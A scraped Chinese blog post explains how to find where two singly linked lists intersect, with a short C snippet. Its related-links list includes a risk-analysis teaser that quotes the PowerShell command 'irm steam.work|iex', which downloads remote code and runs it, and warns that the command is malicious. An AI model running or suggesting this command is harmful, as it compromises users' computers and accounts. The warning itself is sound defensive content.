(链表)判断两个单链表是否存在交点

news/2025/11/16 20:44:04/文章来源:https://www.cnblogs.com/3084bxzzx/p/19228998

2.判断两个单链表是否存在交点,如果存在交点,则找到相交的一点。
(1)只需判断是否相交
用两个分别跑到单链表的未结点处,然后判断是否是同一个尾结点即可
(2)指出具体的相交的结点是什么
先统计两个单链表长度,然后让指针p指向较长的单链表,让指针q指向较短的单链表
让p指针提前出发,向后走差值步
此时p和q相较于交点的距离就一样,这此时再以同样的速度出发,看啥时候相遇即可
//1.先统计两个单链表的有效长度,然后让指针p指向较长的单链表,让指针
// q指向较短的单链表

int len1 = GetLength(plist1);
int len2 = GetLength(plist2);Node* p = len1 >= len2 ? plist1 : plist2;
Node* q = len1 >= len2 ? plist2 : plist1;//2.让p指针提前出发,向后走(两个单链表的长度差值)步
for (int i = 0; i < abs(len1 - len2); i++)p = p->next;//3.此时p和q相较于相交点的距离就一样了,则此时再以同样的速
// 度出发,看啥时候相遇即可while (p != q)
{p = p->next;q = q->next;
}return p;//return q;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/967338.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(链表)逆置

1.逆置 (1)借助头结点 (2)不借助头结点 (3)(详情见project6) //0.判空处理 empty if (Is_Empty(plist)) return; //1.申请三个指针pqr,先给p和q赋值 r不着急 Node* p = plist->next; Node* q = p->next; Node…

(链表)任意删除一个结点

3.任意删除一个结点(要求时间复杂读为o(1)),给的这个节点的地址不能是尾结点(这个结点是无法找到上家的) //0.做判断:p不能是尾结点 if (p->next == NULL) return false; //1.申请一个指针q,用来指向p的下一…

在抖音直播推广开源作品的可行性?

一、前言作为85后,.NET开发已经有20年头了,人已经步入中年了,打工生涯也应该结束了,作为.NET微服务先驱者,2017年就开始研发surging, 然后在github开源,不出两年star 已经突破3k,star 的增加,代表了大多数人认可…

分布式监控体系:从指标采集到智能告警的完整之道 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

hot 100 (1)—— 两数之和(哈希) - 指南

hot 100 (1)—— 两数之和(哈希) - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &quo…

DLSS Swapper商业模式:开源软件商业化探索 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

性能优化体系化建设:BI平台的深度优化实践

第一部分:最复杂的性能优化经历——BI数据大盘加载卡顿 1. 问题背景与建立监控基线:场景:OMNIEYE平台的核心数据看板,用户配置了多个图表,一次性拉取并渲染数万行、数十列的数据,导致:API响应时间极长(超过10s…

AT_jsc2019_qual_e Card Collector题解

博客地址 图论建模还是太神仙了。 首先思考一下题目给的条件,每行只选一个,接着每列只选一个,由于这种唯一对应的性质,很容易让人想到二分图匹配,但数据范围并不允许我们这样做。 但这给我们一个图论建模的思路。…

20251115ACC

比赛链接 赛时 难绷 先通读四道题,T2有一个反悔贪心的思路,T3一眼差分,T1应该不会太难,心态良好。 于是直接开T1。思考近45min后想到直接硬拆绝对值,开始码。结果由于自己前期思路不严谨和代码实现问题,硬调2.5h才过…

Day40(10)-F:\硕士阶段\Java\课程代码\后端\web-ai-code\web-ai-project01\springboot-mybatis-quickstart

Mybatispublic class HikariDataSource extends HikariConfig implements DataSource, Closeable {private static final Logger LOGGER = LoggerFactory.getLogger(HikariDataSource.class);private final AtomicBool…

还能回到原先吗 绞尽脑汁翻阅文献 这名为爱的实验 被等号连接

test40 教练模拟器真好玩 /kel俄罗斯方块 旋转一下然后计数,注意对对称图形去重喵。 #pragma GCC optimize(1,2,3,"Ofast","inline") #include<bits/stdc++.h> #define int long long #def…

irm steam.work|iex 风险分析

一个高风险的恶意命令。 执行此命令将严重危害您的计算机安全和您的 Steam 帐户。 风险分析:irm steam.work|iex这个命令由三个部分组成,组合起来非常危险:irm steam.workirm 是 Invoke-RestMethod 的别名,这是一个…

2025年11月手动旗杆厂家口碑推荐榜单及选购指南

摘要 2025年旗杆行业迎来新一轮技术升级,不锈钢旗杆、电动旗杆等产品在材质工艺和智能控制方面均有显著突破。本文基于市场调研数据、用户反馈和行业技术参数,整理出手动旗杆领域权威推荐榜单,为酒店、学校、企业等…

2025年四川电动旗杆制造厂排行榜TOP5权威发布

摘要 随着城市化进程加快和企事业单位形象提升需求增长,2025年四川电动旗杆行业迎来快速发展期。本文基于市场调研数据、用户口碑评价和技术实力评估,为您呈现最新行业排行榜单,为采购决策提供参考依据。文末附有详…

Pandas --DataFrame基本操作

Pandas --DataFrame基本操作一.介绍DataFrame是pandas中另一个核心数据结构,它是一个二维的、大小可变的、可以存储多种类型数据的表格结构。每一列可以是不同的类型(数值、字符串、布尔值等),并且有行索引和列索引…

2025年11月全国旗杆厂家综合实力排行榜TOP5权威发布

摘要 2025年旗杆制造行业迎来技术升级与市场需求双增长,智能化、定制化成为主流趋势。本文基于行业数据调研、用户口碑评价、技术实力评估等多维度分析,为您呈现最新旗杆厂家排名榜单。本榜单旨在为政府采购、企业采…

debian sysctl: cannot open /etc/sysctl.conf: 没有那个文件或目录

系统正常使用,却弹出inotify的警告查询当前配置 cat /proc/sys/fs/inotify/max_user_watches cat /proc/sys/fs/inotify/max_user_instances 系统默认配置第一项12W多,第二项256 linux inotify 是一种高效的文件监控…

完整教程:(Linux) WSL 通过 VSCode 连接不执行 profile 问题(登录Shell问题)

完整教程:(Linux) WSL 通过 VSCode 连接不执行 profile 问题(登录Shell问题)2025-11-16 20:15 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflo…

入侵防护技术深度解析:最新漏洞与威胁态势

本文详细介绍了FortiGuard实验室在入侵防护领域的最新研究成果,包括新发现的5个安全漏洞和5个已修复漏洞的技术细节,涵盖D-Link、Google Chrome等多个厂商产品的安全威胁分析,为网络安全防护提供重要参考。研究 研究…

mysql函数大全及举例 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …